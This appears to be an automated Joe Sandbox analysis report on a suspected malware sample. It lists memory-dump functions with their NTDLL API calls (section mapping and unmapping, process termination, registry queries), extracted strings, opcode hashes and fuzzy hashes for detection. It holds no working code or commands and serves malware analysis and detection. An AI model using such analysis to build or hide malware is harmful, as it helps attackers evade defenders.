Instruction ID: 5ad25d2f7985c9e061c1da26efa577f9905e66143839c8d9d9c5989237b45890
Opcode Fuzzy Hash: 6a5eaba203e60f087768bd1ea847aa9192a1b21a5590d897a372c5ad5b0597d3
Instruction Fuzzy Hash: 0DF0C7BA1042587FD710DE4ADC88DEB7F6CFB8A7A5F444415F60997141C2706D05D770

Function 004835EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,?,?,?,?,?,?), ref: 00483624

Strings

0/v, xrefs: 00483624

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: CreateSection
String ID: 0/v
API String ID: 2449625523-1580921444
Opcode ID: dc19a41592f25e47022aac143e6f8ae1296856aa73a2be0b555c2d6bc22f47da
Instruction ID: 13e00cf2f51055996855f63c18ace9d47ce1cafb7c4a8987c56681e6071c6990
Opcode Fuzzy Hash: dc19a41592f25e47022aac143e6f8ae1296856aa73a2be0b555c2d6bc22f47da
Instruction Fuzzy Hash: BDF0ACB6100258BFE7109E9ADC88DEB7BACEB8A7A5F408415F60897241D270AD00D7B0

Function 00482FE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryValueKey.NTDLL(?,?,?,?,?,?), ref: 00483018

Strings

+v, xrefs: 00483018

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: QueryValue
String ID: +v
API String ID: 3660427363-1371088364
Opcode ID: 4699460acd10cf367315109f6a0f4efba83865eb4a2df2152ec697aaf724a388
Instruction ID: e9597de5be3d16ba3bf2c0cdba2fdd01bf4d6c8adf671e31a58bdbdd31e7f234
Opcode Fuzzy Hash: 4699460acd10cf367315109f6a0f4efba83865eb4a2df2152ec697aaf724a388
Instruction Fuzzy Hash: 76E0EDB61001587FAA109F4ADC48DEB7F6CDBDA7A9B04442AB50587211C571AD41D7B0

Function 00482DE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySecurityObject.NTDLL(?,?,?,?,?), ref: 00482E07

Strings

@@v, xrefs: 00482E07

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: ObjectQuerySecurity
String ID: @@v
API String ID: 718582247-1316626233
Opcode ID: 1e727282e3a4a057356fdec98deaf7e2c3e07cf272aa5b39ff30e5f70a4d15e9
Instruction ID: 7017d416a23dd5d0188ece0ad21e9dfd6d668070c42ce9435a2d6443679c61db
Opcode Fuzzy Hash: 1e727282e3a4a057356fdec98deaf7e2c3e07cf272aa5b39ff30e5f70a4d15e9
Instruction Fuzzy Hash: C9E08CB11001147ED310665AAC0CDFB7FACEBD27B4B10842AB4099321082A4AD45C3F4

Function 00483338 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(?,?,?,?,?), ref: 0048335F

Strings

p+v, xrefs: 0048335F

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: ObjectQuery
String ID: p+v
API String ID: 2748340528-2766298824
Opcode ID: 05f77386f087bf534f6d65cc253d21d51383ca223a4a1612e8788655f48ec4c3
Instruction ID: 7d3e76fd744cfc35664242a2879ad8a730e011e51e56c16475d56e96972da979
Opcode Fuzzy Hash: 05f77386f087bf534f6d65cc253d21d51383ca223a4a1612e8788655f48ec4c3
Instruction Fuzzy Hash: 14E0C2AE0041547FE7106B5E9C0DEEB7FACEBE3BB5B04402AB80893100D6A0AD04E3B0

Function 0048343C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 00483463

Strings

/v, xrefs: 00483463

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileInformationQueryVolume
String ID: /v
API String ID: 634242254-1575809279
Opcode ID: 91b24acf78cedecadeba1084135d71a629a295b68220e6918e44ffc842293463
Instruction ID: 019df0b1ab3d8a16032bd67f18884d9aad86173f1da7008d230b61e874357483
Opcode Fuzzy Hash: 91b24acf78cedecadeba1084135d71a629a295b68220e6918e44ffc842293463
Instruction Fuzzy Hash: 3EE08CA90041147EA6106A4FDC0DEEB7F6CDBD3BB1B10842AB40892100C2A0AE04C3B4

Function 004834EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtUnlockFile.NTDLL(?,?,?,?,?), ref: 00483513

Strings

0Gv, xrefs: 00483513

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileUnlock
String ID: 0Gv
API String ID: 45017762-4151889640
Opcode ID: 9a17a0bd9612e5a07c050712f5d63f549d7b1032952d10e0f2121d40d2b5be35
Instruction ID: 02f0663a02df2eb0c315cba5058fd4ca0caa1d29dd4e94b66d0fbb0713a6ea2f
Opcode Fuzzy Hash: 9a17a0bd9612e5a07c050712f5d63f549d7b1032952d10e0f2121d40d2b5be35
Instruction Fuzzy Hash: 7CE0ECA51041547AE710AF9B9C0CDEB7F6CEBD6BBAB18882AB408921108265AE05D3F0

Function 004832C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(?,00000000), ref: 004832D9

Strings

P-v, xrefs: 004832D9

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: ProcessTerminate
String ID: P-v
API String ID: 560597551-739159646
Opcode ID: b0ca512c32051d182f5e6b0533d839ec34eb0b24dbe3baaf7a9052956dd764a1
Instruction ID: 3a81eb41f02cc46d26c0d04310f7b6a215e4f7c46d1a504788ec378cb7d396d5
Opcode Fuzzy Hash: b0ca512c32051d182f5e6b0533d839ec34eb0b24dbe3baaf7a9052956dd764a1
Instruction Fuzzy Hash: B9C04CD45001407AEE456F6C5D0CFB729DC97D170AF04C8A87044C1151C6184904E320

Function 0048353C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(00000000), ref: 00483551

Strings

0-v, xrefs: 00483551

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: SectionUnmapView
String ID: 0-v
API String ID: 498011366-620404996
Opcode ID: d0010c50f1ff9a3dd92093cae4277613ba7b6ced5159db28b227f2d5e9d3375a
Instruction ID: 604913b55b09b1b3f8fc5361f47475304eeb5ab9fae543fe1b5e22e3c7ce044e
Opcode Fuzzy Hash: d0010c50f1ff9a3dd92093cae4277613ba7b6ced5159db28b227f2d5e9d3375a
Instruction Fuzzy Hash: 1CC04CD89041407EEE05976CDC0CBF7295D97D1B0AF0454657011C1164C6544A44E325

Function 003FB7D9 Relevance: 3.2, Strings: 2, Instructions: 674COMMON

Download Yara Rule

Strings

lm, xrefs: 003FB8A6
E!~#, xrefs: 003FB906

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: E!~#$lm
API String ID: 0-1992677951
Opcode ID: 3e0cc750e68f9560420d2d18e22bf518ae4bcf4254b548dcc000787dab17eefc
Instruction ID: 58dbba3469dd8d75c90717a60bf5d8d85bc47d85317f2d4573c57a97df6d0664
Opcode Fuzzy Hash: 3e0cc750e68f9560420d2d18e22bf518ae4bcf4254b548dcc000787dab17eefc
Instruction Fuzzy Hash: 103212B1A18385DFD3258F24DC8076BBBE2EFC9310F198A6DE5958B291D731D904CB82

Function 003FB7FE Relevance: 3.1, Strings: 2, Instructions: 613COMMON

Download Yara Rule

Strings

lm, xrefs: 003FB8A6
E!~#, xrefs: 003FB906

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: E!~#$lm
API String ID: 0-1992677951
Opcode ID: 34ab2339e89ab1932c079c6c405e6d658d0e307215f2d9e07bb1ad6cb5951b0a
Instruction ID: 4d05f99374034f1cc32e2aa68a8c4929e3de1f146ffaddb853b275c6caae88ce
Opcode Fuzzy Hash: 34ab2339e89ab1932c079c6c405e6d658d0e307215f2d9e07bb1ad6cb5951b0a
Instruction Fuzzy Hash: 0922F1B1A18385DFE3108F24DC8076BBBE2EFC9310F158A6DE5999B291D731D905CB82

Function 003F26A0 Relevance: 3.0, Strings: 2, Instructions: 480COMMON

Download Yara Rule

Strings

%?, xrefs: 003F26AF, 003F27F1
WV%', xrefs: 003F2B64

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: WV%'$%?
API String ID: 0-3795681248
Opcode ID: f4be713ca1b0b05e45cbce6b8bb4821b682928b334b2da48f4977839a686324f
Instruction ID: 841b7c62130b45be8a67e6f0295aa8c8d3bdc001b62b04735ebd9cc3a803a66f
Opcode Fuzzy Hash: f4be713ca1b0b05e45cbce6b8bb4821b682928b334b2da48f4977839a686324f
Instruction Fuzzy Hash: FCE135B2A083559BE312DF24DC81B6BBBE5EBC1300F09882DF9C19B342D6759D1587A3

Function 003D38E0 Relevance: 2.9, Strings: 2, Instructions: 404COMMON

Download Yara Rule

Strings

NaN, xrefs: 003D393A
Inf, xrefs: 003D3933

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Inf$NaN
API String ID: 0-3500518849
Opcode ID: f1444b3a8a7e66cc519193417cc91b1e0032f48a47e04412e204cde2d72d3596
Instruction ID: 26efd0ef4a12f298bc296b1ebb47e4edc60670d49d60c4b6ee3a560e3ae11c69
Opcode Fuzzy Hash: f1444b3a8a7e66cc519193417cc91b1e0032f48a47e04412e204cde2d72d3596
Instruction Fuzzy Hash: 1FD1D672A183119BC705CF28D88165BBBE5EFC8750F158A2EF8999B390E771DD44CB82

Function 00501A04 Relevance: 2.9, Strings: 2, Instructions: 390COMMON

Download Yara Rule

Strings

ZwQuerySection, Unsupported class %d, xrefs: 00501EDF
0, xrefs: 00501B7B

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0$ZwQuerySection, Unsupported class %d
API String ID: 0-2380292483
Opcode ID: 1c4ed487ac1cfe8cd52f7d8df08d039a74fb5fc33cc259bf4fe0ae1474eb956c
Instruction ID: 3bc6f3f97de1cd648c371e2253a9b5811e1a97a7b5222a018d59307c21981f79
Opcode Fuzzy Hash: 1c4ed487ac1cfe8cd52f7d8df08d039a74fb5fc33cc259bf4fe0ae1474eb956c
Instruction Fuzzy Hash: D2F13B74A00609DFDB04DF69C980AAEBBF5FF48304F2485A9E814AB391D734ED45CB69

Function 003D94BF Relevance: 2.8, Strings: 2, Instructions: 305COMMON

Download Yara Rule

Strings

0, xrefs: 003D98A3
8, xrefs: 003D989B

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: a5e0db6bd20d925a3ce23fb864f35a3cee440d2e8b9744f798bacc4424119dd9
Instruction ID: a7a8c2e1a77373bf6228aa8aed76e497975cd951f3aa534a4f5f1e70b73d2f83
Opcode Fuzzy Hash: a5e0db6bd20d925a3ce23fb864f35a3cee440d2e8b9744f798bacc4424119dd9
Instruction Fuzzy Hash: 7AE12C75608380DFC750CF28D854B8ABBE1BB89354F48896DF88997361D335EA58CF92

Function 00504A18 Relevance: 2.8, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

ZwQueryValueKey, unsupported class %d, xrefs: 00504D68
#, xrefs: 00504C96

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: #$ZwQueryValueKey, unsupported class %d
API String ID: 0-453009116
Opcode ID: 2556e11b0eff46c7d88fb2517289e8c12707225cbcdfc45cedd70534c1cdb4bb
Instruction ID: 724e91262330ee07e65ca39ef46c8a2d57cb69b9da36a076eecb2a57cd899fe5
Opcode Fuzzy Hash: 2556e11b0eff46c7d88fb2517289e8c12707225cbcdfc45cedd70534c1cdb4bb
Instruction Fuzzy Hash: 11B1D7B0A00209AFDB40EF69C981AAEB7F5FF88304F15C56AA914D7355DB74EE018F94

Function 0049DC0C Relevance: 2.2, Strings: 1, Instructions: 905COMMON

Download Yara Rule

Strings

, xrefs: 0049E617

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 48440af82599ccb93bd5dc4264f755cb8197ca46a2d6066648bd6193fa9a3cec
Instruction ID: 761f127303446faa090b8ed9f88397ed6bd893d131708a3bedb83bdccdbd860c
Opcode Fuzzy Hash: 48440af82599ccb93bd5dc4264f755cb8197ca46a2d6066648bd6193fa9a3cec
Instruction Fuzzy Hash: 37823B34A00204DFCF14DFAAC589A9EBBF1EF48314F1485A6E8049B366C778EE41DB59

Function 004133B0 Relevance: 1.9, Strings: 1, Instructions: 672COMMON

Download Yara Rule

Strings

"5A, xrefs: 004134F8

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: "5A
API String ID: 0-1734539308
Opcode ID: 65db1faaacef117183569fca960f616e10696e441966e5449ccdd1684dcd5f3a
Instruction ID: 1f3411af00fccff294eb10d5eb49499e57170dfd1bb893b7a7ca2c40cc0afb31
Opcode Fuzzy Hash: 65db1faaacef117183569fca960f616e10696e441966e5449ccdd1684dcd5f3a
Instruction Fuzzy Hash: 0A12DF36B05114CFCB08CF68D8912EEBBF2AB8D314F19817ED846A7351D639AD46CB94

Function 00508EB0 Relevance: 1.8, Strings: 1, Instructions: 518COMMON

Download Yara Rule

Strings

MZP, xrefs: 00508F79

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: MZP
API String ID: 0-2889622443
Opcode ID: af380b234aa5a12cc5c409b6a3502b15b9f9395d2e4ef1c7c45f18eac6765c4e
Instruction ID: 0d71290bb47a16e14bc5b04a5322d4db88fc04a644f9867c8515f9c8c4ffd2df
Opcode Fuzzy Hash: af380b234aa5a12cc5c409b6a3502b15b9f9395d2e4ef1c7c45f18eac6765c4e
Instruction Fuzzy Hash: 2F121874A002099FDB14DFA9C885FAEB7B5BF88704F108569F904EB296C774ED41CBA4

Function 003D4FA0 Relevance: 1.8, Strings: 1, Instructions: 514COMMON

Download Yara Rule

Strings

%1.17g, xrefs: 003D5308

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: %1.17g
API String ID: 0-1551345525
Opcode ID: d26dfd061bef9a2f8afe2abc68cff06d8565e4d2a780ff6d4d3fc8a36a041cf0
Instruction ID: 44eb116d408d32e1e419bd3dd0c85a444643ca443368f1d7be203253ca6dd2bf
Opcode Fuzzy Hash: d26dfd061bef9a2f8afe2abc68cff06d8565e4d2a780ff6d4d3fc8a36a041cf0
Instruction Fuzzy Hash: 1C02C677608B418BE7178E19F48032ABBE3AFA1305F19856FE8968B351E771DC49C742

Function 003FE400 Relevance: 1.6, Strings: 1, Instructions: 382COMMON

Download Yara Rule

Strings

", xrefs: 003FE6E8

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 24209c8d41e32f59e64eed0df2feccd6661aee7efd013b92dd5e2642947b48ef
Instruction ID: e75115f72a00ab2e482487cdc908e5cf0b11b4c9de9570fd0c908dec27ded552
Opcode Fuzzy Hash: 24209c8d41e32f59e64eed0df2feccd6661aee7efd013b92dd5e2642947b48ef
Instruction Fuzzy Hash: 55C14CB2A043095FD716DE24C44077BB7EAAF85350F19892DE6998B3A1E734DC04C7D1

Function 00E87E43 Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__common_dcos_data.LIBCMT ref: 00E87F3A

Memory Dump Source

Source File: 00000000.00000003.2178900486.0000000000E75000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E75000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_e75000_SecuriteInfo.jbxd

Similarity

API ID: __common_dcos_data
String ID:
